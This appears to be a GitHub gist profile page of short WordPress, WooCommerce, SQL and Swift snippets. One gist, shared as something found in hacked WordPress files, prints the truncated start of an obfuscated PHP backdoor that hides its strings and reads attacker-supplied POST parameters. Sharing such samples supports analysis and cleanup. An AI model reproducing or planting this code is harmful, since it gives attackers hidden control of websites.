Skip to content

Instantly share code, notes, and snippets.

View nielsvr's full-sized avatar

Niels van Renselaar nielsvr

View GitHub Profile
@nielsvr
nielsvr / taxonomy-archive.php
Created July 10, 2013 09:46
Get previous and next term from a taxonomy in WordPress. Use in a Taxonomy Archive.
<?php
$queried_object = get_queried_object(); // returns the current taxonomy term
$my_taxonomy = get_terms("my_taxonomy",
array(
'orderby' => 'name',
'order' => 'ASC'
)
@nielsvr
nielsvr / gist:6580063
Last active December 23, 2015 04:28
Move posts from cat1 to cat2
<?php
ini_set("display_errors", 1);
ini_set("error_reporting", E_ALL);
set_time_limit( 0 )
require 'wp-load.php'; // in case you place it in a seperate file
$args = array(
'category_name' => 'cat1',
@nielsvr
nielsvr / functions.php
Last active December 23, 2015 23:39
Change the options of the WooCommerce orderby dropdown
<?php
// add in functions.php of your theme
// Change the options of the WooCommerce orderby dropdown
function modify_woocommerce_orderby( $orderby ) {
unset($orderby["popularity"]);
unset($orderby["pricemenu_orderdesc"]);
unset($orderby["rating"]);
unset($orderby["date"]);
@nielsvr
nielsvr / gist:6916403
Created October 10, 2013 10:38
Old WooCommerce code, how to implement now?
<?php
$test = new WC_Product($id);
$test->variable_product_sync();
?>
@nielsvr
nielsvr / gist:7412291
Created November 11, 2013 12:10
SQL Query to calculate distance on a post/meta object in WordPress
SELECT *, ( 3959 * ACOS( COS( RADIANS(18.204540500000) )
* COS( RADIANS( latitude ) )
* COS( RADIANS( longitude )
- RADIANS(-66.450958500000) )
+ SIN( RADIANS(18.204540500000 ) )
* SIN( RADIANS( latitude ) )
)
) AS distance
FROM
(SELECT ID,
@nielsvr
nielsvr / gist:7910618
Created December 11, 2013 13:41
Search trough all WordPress pages and ALL the custom meta values.
<?php
global $wpdb;
$keyword = get_search_query();
$keyword = '%' . like_escape( $keyword ) . '%';
// Search in all custom fields
$post_ids_meta = $wpdb->get_col( $wpdb->prepare( "
SELECT DISTINCT post_id FROM {$wpdb->postmeta}
@nielsvr
nielsvr / gist:8174143
Last active January 1, 2016 16:59
Display posts matching a keyword within terms of a taxonomy within WordPress
<?php
// Display posts matching a keyword within terms of a taxonomy
// Keywords: tax_query, like, terms, search, WordPress
$keyword = "Foo";
$terms = get_terms("taxonomy", array("name__like" => esc_sql($keyword) ) );
$new_terms = array();
$tax_query = array();
@nielsvr
nielsvr / listumo.php
Created May 26, 2014 09:42
WordPress hacked files contained this
<?php
@error_reporting(0); @ini_set(chr(101).chr(114).'ror_log',NULL); @ini_set('log_errors',0); if (count($_POST) < 2) { die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321)); } $v5031e998 = false; foreach (array_keys($_POST) as $v3c6e0b8a) { switch ($v3c6e0b8a[0]) { case chr(108): $vd56b6998 = $v3c6e0b8a; break; case chr(100): $v8d777f38 = $v3c6e0b8a; break; case chr(109): $v3d26b0b1 = $v3c6e0b8a; break; case chr(101); $v5031e998 = true; break; } } if ($vd56b6998 === '' || $v8d777f38 === '') die(PHP_OS.chr(49).chr(49).chr(43).md5(0987654321)); $v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disable_functions')); $v01b6e203 = @$_POST[$vd56b6998]; $v8d777f38 = @$_POST[$v8d777f38]; $v3d26b0b1 = @$_POST[$v3d26b0b1]; if ($v5031e998) { $v01b6e203 = n9a2d8ce3($v01b6e203); $v8d777f38 = n9a2d8ce3($v8d777f38); $v3d26b0b1 = n9a2d8ce3($v3d26b0b1); } $v01b6e203 = urldecode(stripslashes($v01b6e203)); $v8d777f38 = urldecode(stripslashes($v8d777f38)); $v3d26b0b1 = urldecode(stripslashes($v3d26b0b1)); if (strpos($v01b6e203, '
@nielsvr
nielsvr / Office.swift
Last active August 29, 2015 14:02
Basic class with a get/set parameter
import Cocoa
class thisOffice {
var currentUsers: Int
var totalSpaces : Int
init(currentUsers: Int, totalSpaces: Int) {
self.currentUsers = currentUsers
self.totalSpaces = totalSpaces
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
# add a trailing slash to /wp-admin
RewriteRule ^wp-admin$ wp-admin/ [R=301,L]
RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^ - [L]